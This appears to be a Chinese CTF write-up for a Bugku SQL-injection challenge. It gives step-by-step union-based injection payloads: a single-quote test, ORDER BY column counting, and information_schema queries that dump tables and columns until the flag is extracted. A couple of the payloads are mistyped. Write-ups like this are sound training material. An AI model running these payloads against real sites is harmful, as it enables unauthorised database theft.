CTF-成绩单 90

CTF-成绩单

点击进去看到这个就联想到了SQL注入

用火狐的HackBar进行sql注入尝试

先输入id=1显示除了一个龙龙龙的成绩单

再试试id=2

判断下注入类型

and 1=1/1=2没反应 试了下单引号注入 id=2'发现成绩单消失了确定为单引号注入

用order by 判断多少列order by 1 #(#注释)order by 5#不能回显,order by 4#可以

所以确定列数4

使用union查询

现将id=2'注释掉,id=-2'即可注释掉

输入id=-2' union select union 1,2,3,4#

再输入d=-2' union select union 1,2,3,database()#查看数据库

得到数据库skctf_flag

在获取数据表输入

id=-2' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='skctf_flag'#

获得两个数据表

Flag应该藏在fl4g数据表里面,获取其中的列信息,输入

id=-2' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='fl4g'#

得到一个列

最后输入

id=-2' union select 1,2,3,group_concat(skctf_flag) from fl4g#

成功获得flag BUGKU{Sql_INJECT0N_4813drd8hz4}

猜你喜欢

转载自www.cnblogs.com/cxl862002755/p/13205558.html
90